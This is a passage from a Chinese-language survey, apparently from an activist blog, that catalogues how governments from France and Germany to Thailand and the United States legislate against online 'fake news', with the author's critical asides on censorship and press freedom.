最高法院监管委员会现在可以直接阻止网站和那些拥有5000名以上关注者的社交媒体账户发布所谓的“假新闻”，并且可以在不经法院命令的情况下处以最高25万埃及镑（14400美元）的严厉罚款，不遵守规定的新闻媒体将被处以最高298000美元的罚款。

法国 🕮

行动：立法管制

重点：选举相关的错误信息

2018年1月上旬，马克龙告诉记者，他将提出一项新法律，以打击选举期间虚假信息的传播。

之后11月通过的法律提供了对“假新闻”的定义：“不准确的指控或指责，或虚假报道事实的新闻，目的是改变投票的诚意。”它旨在在竞选活动期间 —— 更具体地说，在任何投票之前的三个月内 —— 对媒体制定严格的规定。

该法律赋予当局权力，可以在选举期之前的三个月内，删除通过社交媒体传播的虚假内容，甚至阻止发布该内容的网站，并为赞助内容强制实施更高的财务透明度。这是基于1881年的一项法律，该法律禁止传播“假消息”。

该法律包含三个主要条款。首先，授权法官“按比例”采取行动，但是要“以任何手段”制止在选举前散布错误信息的行为。

其次，要求诸如 Facebook、Twitter 和 YouTube 之类的平台发布谁购买了赞助内容或广告、以及以什么价格购买的信息。

最后，该法律授予高级视听委员会（CSA）、广播监管机构以新的行政权力，以确保平台遵守法律。

它将“发布定期报告”，说明平台制定的措施的有效性。此外，CSA现在可以“单方面”撤销在法国境内经营的电视和广播电台的广播权，只要这些电视广播电台被认为在“外国的控制或影响下”工作并“散布错误信息”的话。

法国议员于6月7日对拟议的法律进行了辩论，并于7月初获得通过。Politico报道，在选举期间，该立法将允许候选人提起诉讼，要求删除有争议的新闻报道，而科技平台将必须披露赞助内容的资金来源。

但是被推迟了。当时50多名参议员就该法律向宪法法院提出上诉，该法律在欧洲尚属首例。据报道，反对党的立法者们认为，该法律不符合比例正义原则，20minutes 报道说。

12月，该法律获得宪法委员会的批准，并在三天后颁布。

2019年4月，《独立报》报道说，Twitter 已禁止政府赞助的投票活动，因为它似乎违反了法国法律的广告透明度标准。

德国 🇩🇪

行动：立法管制

重点：仇恨言论

自2018年1月1日起生效开始，德国宣布了针对在 Facebook 上发表所谓的仇恨言论的法律。

这项名为“ Netzwerkdurchsetzungsgesetz”（NetzDG）的法律强制在线平台在24小时内删除 “明显非法” 的帖子，否则将面临最高5000万欧元的罚款。

该法律旨在针对拥有200万以上用户的社交网络（例如 Facebook，YouTube 和 Twitter）。

这项法律的实施表明当局愿意反对任何可疑的在线内容，但是其执行却是艰难的。

一家名为 Titanic 的讽刺杂志发表了带有侮辱性的文章，它被禁止发布在 Twitter 上，甚至帮助撰写 NetzDG 的司法部长其推文也被进行了审查。

在2018年3月上旬，官员们批评说有太多内容被封锁后考虑修改法律。这些修订包括允许用户恢复被错误删除的内容，以及推动社交媒体公司成立独立机构来审查可疑帖子。

正如如其他报告所指出的那样，该法律没有打击错误信息的有效机制。审查不是解决方案。

印度 IN

行动：数据库、拟议的法律、拟议的法律修正案、和互联网关闭

重点：虚假信息

政府正在考虑制定一项立法，旨在惩罚在线虚假信息的提供者，特别是篡改的照片。

经济时报在2018年6月中旬报道称，西孟加拉邦官员想澄清该州如何进一步起诉发布虚假信息行为。现在，如果虚假信息被认为“引起了公众恐慌”，发布者将入狱。

李文亮被传唤禁言的理由就是“引起公众恐慌”。

「图」

「图」

除了加强现行法律外，西孟加拉邦还准备了过去几年被在社交媒体上分发过的虚假新闻报道的数据库。据报道，该数据库还保留了过去犯罪者的记录。

这些努力是在与印度虚假信息有关的紧张局势加剧之际进行的。据称，像 WhatsApp 这样的消息传递平台上的谣言在全国范围内煽动了暴力行为，而中央政府本身过去也曾试图发布反假新闻准则。

10月，连线报道说，印度政府在过去一年中关闭互联网超过100次，以平息 WhatsApp 上的谣言传播。

2018年，国际非营利组织 Access Now 记录了印度134次断网，斯坦福大学进行的一项研究发现，其中47%的断网事件发生在政治动荡的北部查谟和克什米尔。

断网的范围从整个互联网的中断到降低移动互联网速度等程度不同，并且通常是由地方政府下令进行的，以阻止在 WhatsApp 上散布的谣言为维稳。

据自由之家称，断网给该国造成了数十亿美元的经济损失，而且断网次数比任何其他国家都多。

- 《如何用指标预测互联网中断？一旦断网还可以怎么办？》

12月，电子和信息技术部发布了对 2000 IT 法案的修正草案，该草案要求社交媒体平台在政府强制下必须开始追踪消息的发起者。这项工作旨在遏制诸如 WhatsApp 之类的平台上非法内容和错误信息的传播。

- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 防御《社交媒体情报和反情报基本工具手册：自我人肉（2）》

印度尼西亚 ❙ D

行动：政府工作队、逮捕和现场追踪

重点：虚假信息

2018年1月，总统佐科·维多多（Joko Widodo）任命了新组建的国家网络和加密局局长，以帮助情报机构和执法部门在那年夏天进行全国性民意测验之前，打击在线虚假信息和恶作剧。

路透社报道说，该机构正在雇用数百人为该机构“提供保护”。尽管仍不清楚该机构拥有什么权限，但其他机构也逮捕了很多涉嫌在线错误信息的肇事者。

政府还一直在阻止发布被认为“对社会有害”的内容的网站。

雅加达邮报报道说，社交媒体公司也在与政府合作，以阻止和删除虚假内容以及色情等所谓的非法媒体。

1月下旬，政府还部署了一种工具，据称该工具自动跟踪和举报发布虚假新闻报道的网站。

彭博社去年10月报道说，印尼政府拥有70名工程师组成的团队，每天24小时监控社交媒体流量，以发现在线错误信息。

通讯部内部设有所谓的“作战室”，其目的是在四月份的大选之前遏制虚假消息的传播，并有权根据2008年法律删除一切散布虚假消息的帖子。

政府还采取了其他实质性措施来防止误报。根据彭博社的报道，政府建立了一个网站，人们可以在该网站上举报潜在的虚假新闻 —— 发动群众，并判断该消息是否属实。

九月份，通信部宣布将每周举行简报会，以揭穿虚假信息。而且在四

月份，官员们威胁要关闭 Facebook，如果它在选举前未能制止虚假信息的话。

11月，美国之音报道说，印度尼西亚国家警察逮捕了十几名在社交媒体上散布虚假信息的人。该法律规定的最低刑期为四年。

在总统佐科·维多多（Joko Widodo）当选后爆发的暴力抗议中，印尼政府于2019年5月将某些社交媒体功能"封锁了"近一周。

采取该措施的目的是为了遏制恶作剧的传播以及对社交媒体网络上爆发的暴力呼吁。它阻止了 Twitter，Instagram，Facebook 和 WhatsApp 上的用户将照片或视频上传到平台。

2019年6月，Muslim Cyber Army 的一名成员在爪哇被捕，并被指控传播假新闻和仇恨言论。印尼国家警察侦探和一般犯罪网络犯罪部门的负责人说，这名男子负责散布毫无根据的恐惧，担心印尼政府受到中国的控制。

爱尔兰 | E

行动：法令

重点：政治机器人和广告

立法者于2017年12月上旬提出了一项法案，该法案指定使用机器人僵尸假账户伪装成不同的人传播政治信息是犯罪行为。

根据该法案，使用机器人在社交媒体上创建25个或更多角色的行为，将被处以最高5年的监禁、或最高10000欧元的罚款。

反对该法案的执政党于2017年12月中旬在议会中投票失败，目前已进入委员会阶段，不太可能取得进一步进展。

如其他报告所显示的那样，该法律并不直接处理错误信息。

以色列 | L

行动：法院裁决

重点：外国虚假信息战运动和政治宣传

以色列政府禁止在2019年4月9日选举之前在任何平台上发布匿名互

联网广告。

该裁决来自最高法院大法官 Han Melcer ，于去年3月1日生效。以色列时报报道说，法案禁止在以色列和国外创建的匿名广告，并强迫识别机器人，以及在 WhatsApp 和在其他消息传递平台上分发消息的虚假帐户。

意大利 🗞

行动：在线举报门户、逮捕、和授权报告

重点：错误信息和虚假评论

2018年大选前一个多月，意大利政府宣布建立了一个在线门户网站，公民可以向警察举报错误信息。

该服务提示用户输入电子邮件地址，指向虚假新闻故事或虚假媒体的链接、以及他们看到的任何社交媒体帖子，该服务可将其报告给负责调查网络犯罪的州警察局。该部门将对其进行事实检查，如果发现违法将采取法律行动。

该计划是在全国范围内针对3月4日大选的错误信息狂热的背景下进行的，并且具有与巴西、克罗地亚和法国相同的模糊性：缺乏对 “假新闻” 的定义。

华盛顿邮报报道，在9月份的一项具有里程碑意义的裁决中，一名男子因对餐馆和酒店做出所谓的虚假评论而被判处有期徒刑 9个月。法院裁定，制造虚假身份以撰写欺诈性评论违反了意大利法律。

11月下旬，该国的通讯部门AGCOM 发布了有关错误信息的报告。

哈萨克斯坦 K Z

行动： 刑事调查

重点：媒体监管

2018年3月，哈萨克斯坦政府对据称发布 “虚假信息” 的两个新闻媒体进行了刑事调查。

自由之家称，Ratel 和 Forbes.kz 因传播虚假信息而面临刑事指控，因

为这些媒体发布了揭露前政府高级官员腐败的新闻。在前官员提出正式申诉后，警察审问了记者，执行了搜查令，并封锁了 Ratel 的网站。

人权观察报道，根据哈萨克斯坦法律，“传播已知的虚假信息”最高可判处七年徒刑。自由之家平级中该国为 “不自由”。

肯尼亚 K E

行动：立法管制

重点：虚假信息

肯尼亚总统乌胡鲁·肯雅塔（Uhuru Kenyatta）"于" 2018年5月16日"签署了一项法案"，将17种不同类型的网络行为定为犯罪，包括网络欺凌、间谍活动、和计算机伪造等。包括发布虚假信息。

根据该法律，故意共享虚假的或误导性等信息以使其看起来真实的人，可被处以最高500万先令（近 50000 美元）的罚款或最多两年的监禁。

在 Kenyatta 签署该法案之前，有人呼吁国会对其进行审查，以确保该法案不违反言论自由规定。

5月10日，保护记者委员批评该法律 “将言论自由定为犯罪，而新闻工作者和博客作者可能会成为第一批受害者。”

马来西亚 M Y

行动：立法管制

重点：虚假信息

马来西亚于2018年4月初开始将转发错误信息的行为定为犯罪，成为第一个这样做的东南亚国家。

上议院立法者于8月中旬投票否决了该立法。卫报报道，一名高级官员说，警方将被赋予新的权力来处理虚假信息的“现象”。但是，反对马哈蒂尔·穆罕默德（Mahathir Mohamad）政府的新反对派在9月中旬阻止了废除。

马来西亚新任总理在2018年5月中旬表示，他打算保留该法律，尽管对假新闻的定义更为明确。但是，5月22日，该国新任通信和多媒体部长表示将废除该法律，在6月下旬，新政府正寻求在夏季之前废除该法律。

该法律规定，发布或分享虚假新闻将受到最高六年的监禁和500000林吉特（128,000美元）的罚款。这也使在线服务提供商对第三方内容负有更大责任，影响外国新闻媒体对马来西亚的报道，任何人都可以对所谓的虚假信息提供者进行投诉。

3月中旬，来自 Facebook 和 Google 等社交媒体公司的代表在吉隆坡会见了立法者，以征求他们对法律的看法。

先前的政府反对派对 “假新闻” 的定义提出了争议，“假新闻、信息、数据和报告完全或部分是虚假的，无论是文字、视觉效果或录音形式，还是能够暗示文字背后的 ”想法” —— 定义非常含糊。该法律是在八月大选之前遏制言论自由的努力。

路透社报道，在2018年4月下旬，第一名被依该法律逮捕的人是丹麦公民，因为 “在社交媒体上对警察的批评不正确”。他在 YouTube 上发布了一段视频，指责马来西亚官员花了50分钟时间才来回应4月21日的枪击案，警方称实际上花了八分钟。

墨西哥 MX

行动：政府事实核查站点

重点：虚假信息

2019年6月，由墨西哥总统安德烈斯·曼努埃尔·洛佩兹·奥夫拉多尔（AndrésManuelLópezObrador）的员工运营的新闻通讯社 Notimex 推出了自己的事实核查部门，名为 “ Verificado Notimex”。

该国先前启动的民间事实检查项目名为 “VerificadoMX” 倡议和 “Verificado” 联盟。记者和这些组织的实施核查人员指责政府剽窃其品牌 —— 当人们搜索 **Verificado** 时很容易被政府控制的平台所迷惑。

这个政府统揽的 Verificado Notimex 声称它将揭露社交媒体上的虚假新闻，并揭露传统媒体发布的可疑内容的事实调查。简单说就是，废弃了公民调查人员的工作。

缅甸 MM

行动：立法管制和逮捕

重点：虚假信息

2018年10月中旬，在发表了有关仰光地方政府的揭露性报道后，三名记者在缅甸被判入狱，政府称这篇文章是虚假的。

美联社报道说，这篇文章由 Eleven Media Group 出版，指责政府滥用了公共资金。官员们争辩说，新闻媒体的总编辑、编辑和记者违反了一项法律，该法律禁止发布“引起公众恐惧或震惊”的“不正确信息”。

这些记者可能面临最高两年的监禁和罚款。

荷兰 NL

行动：提高公众认识运动]

重点：媒体素养

2019年2月，荷兰政府发起了一项提高公众认知运动，旨在向人们通报在线错误信息的传播情况。

该运动是在欧盟议会选举前几个月进行的，主要在社交媒体上进行。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6947

尼日利亚 NG

行动：媒体素养运动和国家广播电台

重点：媒体素养和虚假信息

为了应对与错误信息有关的日益增长的担忧和紧张局势，尼日利亚发起了一场旨在使人们变得更加重视虚假问题影响的新闻运动。

新闻部长 Lai Mohammed 正在计划与数字媒体、印刷媒体以及国家宣传局（National Orientationation Agency）合作，教尼日利亚人如何分辨网上信息的真假。Mohammed 说，政府不会诉诸“胁迫或审查”。

2018年11月，英国广播公司报道说，军队已经开始在直播广播中揭穿 Facebook 的错误信息。该国还建立了市民举报错误信息的热线电话，一些警官正在使用其个人 Facebook 页面进行辟谣。

总之，依旧是当权者垄断“辟谣”。

阿曼 OM

行动：政府培训

重点：虚假信息

2019年7月，阿曼时报报道，阿曼政府和维稳机构已经加大力度监控在线虚假新闻。

根据该文件，政府传播中心（CGC）与各个政府部门举办了有关处理谣言和虚假主张的研讨会。它还正在为政府机构准备有关如何处理错误信息的指南。

CGC的发言人表示，该措施旨在提高对在线信息的官方来源的严格性。

阿曼刑法并未明确规定究竟什么是假新闻，但确实惩罚了那些故意传播“影响国家形象”的谣言的人。

巴基斯坦 PK

行动：政府 Twitter 帐户（中国也有，类似政府微信、微博账户，占领舆论场所谓“主流”陈述）

重点：虚假信息

2018年10月上旬，巴基斯坦政府开始在热门平台上追踪错误信息：Twitter。

Dawn 报道说，新闻和广播部开设了一个名为“假新闻克星”的帐

户，试图在网上揭穿虚假和所谓负面宣传的消息。

新闻部长 Fawad Chaudhry 告诉新闻媒体，政府将进一步对散布错误消息的人采取行动。

菲律宾 P H

行动：失效的法案

重点：虚假信息

2018年2月，参议院新闻与大众传播委员会主席提出了一项法案，要求政府官员对传播虚假信息负责。

该法案旨在对因在网上和社交媒体上传播虚假信息而被定罪的人处以最高200万比索的罚款，甚至监禁。它还将允许司法部下令删除“假新闻”。

但是，这项措施因违反宪法而受到挑战，总统罗德里戈·杜特尔特（Rodrigo Duterte）过去曾表示，这样的法律将永远不会被通过。

杜特尔特曾用“假新闻”一词指称所有他不喜欢的媒体，甚至被指控亲自散布虚假信息。

2019年7月，总统通讯办公室宣布，拟议的“反假新闻”措施需要进一步审查，以避免违反宪法。

同时，该法案已被纳入菲律宾的刑法典，在该法案中，如果任何人被发现共享了虚假消息，即“扰乱公共秩序或对国家利益或信用造成损害”，将可能受到 40000 ~ 200000 比索的罚款。

俄罗斯

行动：立法管制、网络安全联合小组、和数据库

重点：虚假信息和选举相关的错误信息

在关于俄罗斯政府在全球传播虚假信息中的作用的激烈讨论中，俄罗斯的立法者已经通过了自己的反虚假信息法案。

- 详细参见《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》

该法案禁止传播“不可靠的社会重要信息”，这种信息 “可能危及生命和公共健康、严重威胁公共安全和秩序、或阻碍运输和社会基础设施，如能源和通讯设施以及银行的运转，” 今日美国报道。

该法赦免了报纸和电视台等 *主流* 新闻机构。但是，对于屡屡违规的在线新闻媒体，将被处以最高 5000 美元的罚款和15天的监禁。

纽约时报于2018年7月报道称，执政的统一俄罗斯党的立法者于7月中旬提交的立法还将使社交网络对用户发布的不正确评论负责。

具有评论功能并每天吸引超过 100,000 名访问者的网站将被要求在24小时内删除虚假评论，否则将被处以最高 5000万卢布（约合80万美元）的罚款。

莫斯科新闻报道，这项立法已经通过了州杜马，现在在上议院联邦委员会中审议。如果获得通过，该法案将交给普京总统签名。

社交媒体平台表示，他们不可能每天清除所有错误的评论，而批评家则表示，该法律赋予俄罗斯政府更多的审查能力。

2018年12月，俄罗斯杜马提出了额外的一揽子法案，对在线共享虚假信息将处以最高100万卢布（15000美元）的罚款。

2018年11月，俄罗斯与西班牙签署了一项协议，成立了一个联合网络安全小组，旨在防止虚假信息影响两国之间的外交关系。此举是在西班牙部长们指责俄罗斯传播有关加泰罗尼亚公投的错误信息之后作出的。

2019年5月，莫斯科时报报道说，俄罗斯媒体监管机构正计划建立一个政府已将其标记为 “虚假” 的新闻来源的数据库。

如果此类网站没有删除令人反感的内容，则可能会被“依法”封锁。同一监管机构还下令站点删除对当局表示 “公然不尊重” 的内容。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6914

卢旺达 **R W**

行动：逮捕和政策提案

重点：媒体监管和错误信息

自由之家报道，卢旺达政府在一名博客作者质疑该国关于1994年种族灭绝事件的叙述后，因“散布谣言和煽动公民抗命”，被判处10年监禁。

2019年5月，东非报报道说，卢旺达当局正在考虑禁止将虚假信息传播到社交媒体上的法规。如果获得通过，则此类立法可能会成为信息和通信技术部有关有害在线内容的现行法规的附录。

沙特阿拉伯 S A

行动：政府威胁

重点：虚假信息

据报道，2018年10月华盛顿邮报专栏作家贾马尔·卡舒吉（Jamal Khashoggi）被谋杀后，沙特当局开始威胁在网上发布所谓的“假新闻”的人，最高可判处五年徒刑和罚款。

Gizmodo 报告称，官员们引用了沙特阿拉伯网络犯罪法规的第六条，该条指“扰乱公共秩序、宗教价值观、公共道德和隐私”为非法。

- 《杀死华盛顿邮报记者 Jamal Khashoggi 的杀手在美国接受的培训》
- 《检查沙特领事馆监控视频寻找与记者 Khashoggi 被杀事件相关的线索》

新加坡 S G

行动：立法管制、议会报告、和媒体素养运动

重点：虚假信息和媒体素养

2019年5月，新加坡成为最新一个通过法律将在线散布虚假信息定为犯罪的国家。

Techcrunch 报道，这项法律在新加坡议会以72比9通过，将在新加坡散布危害安全、“公共秩序”、以及该国与其他国家之间关系的所谓

“虚假陈述” 定为非法。法律对发布虚假信息的人处以高额罚款甚至入狱。

如果 “恶意行为者” 分享虚假信息，则将处以最高37,000美元的罚款或5年监禁。如果使用 “不真实的在线帐户或机器人” 分享虚假信息，则罚款将跃升至74000美元，并可能被判入狱10年。

像在 Facebook 这样的热门平台上发帖，因在传播错误信息中的作用更大而将面临最高740000美元的罚款和最高**10**年的监禁。

该法律还禁止在私人消息传递应用程序上传播错误信息（比如端对端加密通讯中），并赋予政府广泛的权力，以消除任何破坏政府公信力的内容。

众多人权组织和出版物都批评其对言论自由的限制。

该措施是全世界范围内最全面的反谣言法律之一。它已经了运作一年多了。

2018年1月，议会投票通过设立一个委员会，致力于探讨如何最好地解决在线虚假信息问题。来自记者、倡导团体和其他组织的意见书于当年2月发布。

2018年3月，政府举行了为期八天的听证会，内容是 “蓄意的在线虚假行为”。目前，它正在努力就此问题创建一份报告和可能的立法，但据报道当局并不急于这样做。

在9月下旬发布的一份长达300页的议会报告中，政府提出了22条建议，以打击网上所谓的虚假信息的传播。

彭博社报道，其中关键是呼吁立法，目标是在 “数小时之内” 制止虚假信息的传播。

该报告还认为，蓄意在网上发布虚假信息的人应受到起诉，政府应努力阻止假新闻的传播。委员会说，采取这些步骤是必要的，因为仅科技公司无法制止虚假信息的传播。

Facebook 和谷歌在三月份的听证会上都反对新加坡的潜在立法。自由之家说，新加坡没有新闻自由。

- 《世界城市正在成为新加坡》

最后，该委员会建议建立一个由事实检查组织，新闻媒体和“行业伙伴”组成的联盟，目标就是在线“辟谣”。目前尚不清楚政府将在何种程度上发挥作用，但该报告表明政府可以提供某种形式的援助。

12月，亚洲新闻频道报道说立法草案在2019年上半年提交。

据海峡时报报道，政府在2019年1月宣布了两个新的资源，以打击虚假信息。第一个是研讨会，声称帮助人们更深入地了解错误信息，第二个是“安全咨询手册”，其中包括有关如何应对在线虚假信息和类似威胁的策略。

然后，新加坡政府转向立法管制。

在2019年4月1日，立法者们首先宣读了一项法案，赋予他们新的权力来制止在 Facebook 等平台上传播虚假信息，如果有人不遵守特定的审查规定，可能会被罚款。该法案在一个月内通过。

韩国 🇰🇷

行动：政府专案组和拟议的法律修正案

重点：虚假信息

议会有十几项未决的法律修正案，旨在遏制在线错误信息的影响 ——其中约有一半要求平台自行审查虚假内容；也包括将使用机器人操纵在线评论的行为定为犯罪。

同时，执政党使用了误导性信息反制专案组对据称发布“有问题的内容”的人提起了约500宗投诉。

纽约时报报道，2018年10月，政府采取了进一步行动以制止虚假信息，总理李洛渊（Lee Nak-yon）下令警察惩罚“故意制造恶意新闻并系统性传播的人”。

他还告诉政府监管机构对藏有虚假新闻的网站采取行动，并主张制定一项新法律来“规范”传播。

西班牙 🇪🇸

行动：网络安全联合小组和政府事实检查

重点：虚假信息和选举相关的错误信息

2018年3月上旬，国家安全委员会通过了一项提案，要求政府对网上的错误信息采取行动。

在非约束性建议中，该委员会要求政府与欧盟合作制定针对虚假信息的策略。该提议被左翼联盟否决。

2018年11月，俄罗斯与西班牙签署了一项条约，成立了一个联合网络安全小组，旨在防止虚假信息影响两国之间的外交关系。此举是在西班牙部长们指责俄罗斯传播有关加泰罗尼亚公投的错误信息之后作出的。

在2019年4月大选之前，西班牙成立了一个由约100名官员组成的团队，以搜寻社交媒体中可能存在的虚假或所谓的误导性政治内容。目前尚不清楚该团队在选举期间如何处理此类内容。

斯里兰卡 L K

行动：断网和法律修订

重点：虚假信息

自由之家说，在效仿印度的“榜样”之后，斯里兰卡政府还关闭了手机网络和社交媒体平台，以减缓导致暴力的虚假信息的传播。

这种做法在2019年4月得到了扩大，当时在恐怖袭击发生后，政府禁止公民访问数个社交媒体平台。纽约时报报道，该禁令包括Facebook，WhatsApp，YouTube，Instagram，Snapchat 和 Viber。

但据一些围观者说，这些措施无效。 BuzzFeed 新闻报道了一名斯里兰卡研究人员，他发现使用VPN的用户会迅速绕过互联网禁令。法新社发现，尽管社交媒体关闭，但仍有数起骗局在网上进行。

- 《有多少国家禁止或限制使用 VPN？—— 全球互联网审查分布图：VPN 在你的国家合法吗？》

2019年6月，斯里兰卡宣布对刑法进行一系列修订，以扩大其反错误信息的努力。

Ada Derana 报告说，目的是允许起诉散布虚假信息或仇恨言论的人，这些信息或言论被认为“阻碍了社区与国家的安全”。

根据这项措施，违者将被处以最高5667美元的罚款或最高五年的监禁。

瑞典 S E

行动：政府权威和公共手册

重点：外国虚假信息宣传运动

在2018年秋季大选之前，总理斯特凡·勒文（StefanLöfven）于1月中旬宣布成立新的“心理防御”机构，以打击虚假信息和外国影响力运动。

建立在瑞典民事应急局和议会国防委员会的基础上，该机构将“确保即使在破坏性条件下也能迅速有效地传达事实性公共信息，并识别、分析和应对影响力宣传运动。”

总体而言，瑞典的拟议授权具有与其他国家不同的风味。与其说是试图直接打击虚假信息或误导性信息，不如说是旨在宣传事实内容。启动日期尚未设定。

在2018年的某个时候，瑞典民事应急局更新了其公共应急准备手册，其中包括有关虚假信息的部分。它警告潜在的外国虚假宣传活动，并包括公民可以做的事以在线核实信息。

- 公民如何识别并揭露虚假信息宣传战？见 "列表-3 “让它民主""

台湾

行动：立法管制和法律修订

重点：虚假信息

台湾立法者正在考虑在《社会秩序维护法》中增加条款，将散布错误信息定为犯罪。

根据执政的民进党6月初颁布的新法律，在网上发布虚假信息的人将受到最高三天的监禁或最高三万新台币（一千美元）的罚款。

现行法规已经对散布谣言的任何人处以罚款和监禁。

该法案于2018年6月中旬分配给一个委员会进行审查，并与专家和利

益相关者进行磋商。 CPJ报道说，该法案可能会在9月中旬重新提交国会审阅。

台湾立法机关正在审查提议，以加重刑罚，将罚款提高至最高新台币30万元和监禁六个月。

2019年7月，南华早报报道称，由于全国范围内对 “红色媒体” 或北京资助的旨在破坏台湾稳定的错误信息宣传活动的担忧，该法已逮捕了110多人。

台湾司法部调查局也正在调查中国是否在2020年1月举行的台湾总统大选之前，为某些候选人的虚假信息宣传活动提供资金。

3月，无国界记者组织发布了一份报告，确定台湾为北京虚假信息发布活动的主要目标。台湾当局一直在警告公众要小心虚假新闻和“红色媒体”。

美国之音报道，台湾内阁于2019年4月批准了修订，以解决关于 “贸易安全” 和 “声誉与信任” 的虚假信息。修订内容包括 “增加对通过移动网络或互联网媒体传播错误信息的处罚。”

但是，台湾议会必须批准法律修订，然后才能生效。

坦桑尼亚 T Z

行动：博客许可证

重点：媒体监管

坦桑尼亚利用人们对在线虚假信息的日益关注，对在线出版提出新的法规。

金融时报报道说，政府计划向博客作者收取每年约**920**美元的特权费用，交了钱的人才能在这个人均收入低于900美元的国家/地区进行在线发布。

坦桑尼亚政府表示，此举是为了通过将成本转移给发布者来减少在线谎言。在激进主义者和媒体的强烈批评和质疑之后，高等法院于2018年5月5日暂停了它的实施，但后来又被通过了。

违者将被处以至少五百万坦桑尼亚先令（2202美元）的罚款，并处以不少于一年的监禁或两者并罚。 The Verge 报道说，该法律已经导致

许多年轻的内容创作者下线。

如其他报道所显示的那样，该法律并未直接解决虚假信息问题。

泰国 TH

行动：立法管制和逮捕

重点：媒体监管和虚假信息

洛杉矶时报报道，泰国官员援引“假新闻”正在扩大一项2007年的法律，该法律称为《计算机犯罪法》，该法律惩罚了反政府的批评。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6906

现在，官员们可以追踪任何提出反军政府主张的记者和博客作者。根据该法律，违反者可能面临最高15年的监禁。

南华早报报道，泰国当局于2018年6月发布逮捕令，逮捕了29名据称在 Facebook 上分享或点赞虚假信息的人 —— 点赞的都没放过。

BBC说，从说唱歌手到政治活动家以及普通公民，均已受到法律指控。

自2014年以来一直由军政府统治的泰国在年度新闻自由普查中被归类为“不自由国家”。

在2019年3月的选举中，泰国当局继续严厉打击据称在 Facebook 上传播虚假信息的人。法新社报道说，有九人仅因分享消息而被拘留。

被告将面临最高五年的监禁和3100美元的罚款。

2019年7月，泰国数字经济与社会部部长宣布了在警察、军方、消费者保护委员会、食品药品管理局和公共关系部的合作下建立“反假新闻中心”的计划。

这位部长说，该中心将负责监管社交媒体内容，抵制那些“会使人们的安全处于危险之中或违反了《计算机犯罪法》”的内容。

土耳其 T R

行动：调查

重点：虚假信息

在土耳其发生经济危机期间，政府对旨在操纵经济的所谓的虚假新闻进行了调查。

金融时报报道，资本市场委员会表示，它将对发布有关银行、公司和金融机构的“错误或虚假的新闻和声明”的个人寻求法律诉讼。惩罚可能是监禁2～5年，并处以罚款。

此外，内政部还对346个被指“煽动货币汇率上涨”的社交媒体帐户进行了调查。

乌干达 U G

行动：社交媒体税

重点：互联网监管

乌干达的一项新税于2018年7月1日生效，即 所有使用社交媒体平台的公民都需要交税。

据报道，总统穆塞韦尼（Yoweri Museveni）推出的这项税收旨在减少八卦的传播，其主要目的是为政府创造另一种收入来源。

政府在2016年大选期间关闭了社交媒体，并对使用 WhatsApp、Viber、Twitter 和 Skype 等平台的手机用户收取200乌干达先令（0.05美元）的费用。

尽管目前尚不清楚政府将如何检测用户何时登录了社交媒体帐户然后对其进行征税，但是批评家们指出，该法律是为进一步扼杀言论自由。自由之家平级指乌干达拥有部分新闻自由。

正如其他报道所显示的那样，这并不能直接解决虚假信息问题。

阿联酋 A E

行动：政府威胁

重点：虚假信息

在2018年10月的一次谈话中，警察告诉公民，在社交媒体上分享虚假信息是一种犯罪，应受到法律制裁。

根据法律，在网上分享谣言可能会被罚款高达100万迪拉姆（约合272250 美元）。真能坑啊……

英国 🇬🇧

行动：议会报告和专案组

重点：虚假信息和外国虚假信息宣传运动

经过18个月的思考关于政府应如何处理错误信息，英国立法者于2018年7月29日发布了一份报告。

数字文化媒体和体育委员会发布的建议包括：拒绝“假新闻”一词，将现有媒体法规应用于在线新闻，并成立工作组研究错误信息的传播方式。

英国政府还成立了国家安全通信部门，其任务是“打击国家行为者和其他人传播的虚假信息”。

这项决定是在对俄罗斯使用虚假社交媒体账户在2016年夏季发布有关英国脱欧公投的错误信息进行调查时做出的。

尽管细节很少，但 The Conversation 报道说，该倡议呼应了冷战时期的战术。

2019年7月，英国教育与卫生部长在一次峰会上宣布，学校课程中将增加一些新内容，旨在教孩子们如何在网上发现错误信息。

正如其他报道所指出的那样，目前尚不清楚这项工作针对的究竟是错误信息，还是政治宣传。

美国 🇺🇸

行动：拟议的联邦法律，平台证词，失败的州咨询小组，州媒体素养法，威胁评估，州媒体素养倡议和州诉讼

重点：政治广告，外国虚假信息，一般性虚假信息，媒体素养和深度

造假视频

- 《廉价造假和深度造假，究竟哪个更可怕？》
- 《开源情报和取证学如何对付“深度造假”？（有很多视频）》
- 《检测和防止深度造假的新方法》

情报机构认为，俄罗斯在2016年美国总统大选期间干预社交媒体，导致联邦政府采取了几项零星行动。

- 这篇分析很重要……《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？》

首先，国会于2017年10月宣布了一项法案，该法案将要求 Facebook 和 Google 等在线平台保留广告副本，将其公开并密切关注谁在付款以及付款多少。本质上，该立法试图将现有的电视和广播广告法规强加于社交媒体公司。

然后，在2017年11月，来自 Facebook、Twitter 和 Google 的代表向参议院司法委员会作证，说明了他们在选举期间传播虚假信息的作用。

在那次会议期间，人们达成了广泛的共识，即俄罗斯操纵了他们的平台，但是在监控假账户和广告购买者时，这些平台显示出一种可控的外观。

- 操纵选民认知的可不止俄罗斯 …… 见《看不见的独裁》

同时，加利福尼亚州政府于2018年9月通过了一项法律，以加强公立学校的媒体素养。它要求教育部列出有关如何评估可信赖媒体的教学材料和资源。

这项法律的灵感来自斯坦福大学的一名学生，他发现大多数学生无法区分赞助内容和新闻报道，并且在至少24个州进行了许多尝试来提高媒体素养。

其中一个州是华盛顿，立法者正在辩论一项媒体素养法案，该法案将为致力于将媒体素养纳入学校课程的组织建立一项赠款计划。2018年，马萨诸塞州立法者通过了一项法案，该法案要求进行公民教育，重点是媒体素养。

- 关于媒体素养—也就是如何判断真伪—见 "列表-3“斗智” "

同样在加利福尼亚州，州长 Jerry Brown 否决了一项法案，该法案将创建一个咨询小组，旨在监视社交媒体上错误信息的传播并提出潜在的解决方案。Brown 称该小组 “不必要”。

2018年9月中旬，两名民主党人和一名共和党代表致信国家情报局局长，要求情报界评估深度造假技术可能造成的国家安全威胁，并于2018年底向国会提交报告。

据美国有线电视新闻网报道，2019年1月，一家创建虚假社交媒体资料以赚取数百万美元收入的公司与纽约州律师达成和解。该和解是执法机构得出的第一个结论，即 销售造假的社交媒体内容制作技术是非法的。

越南 V N

行动：立法管制

重点：虚假信息

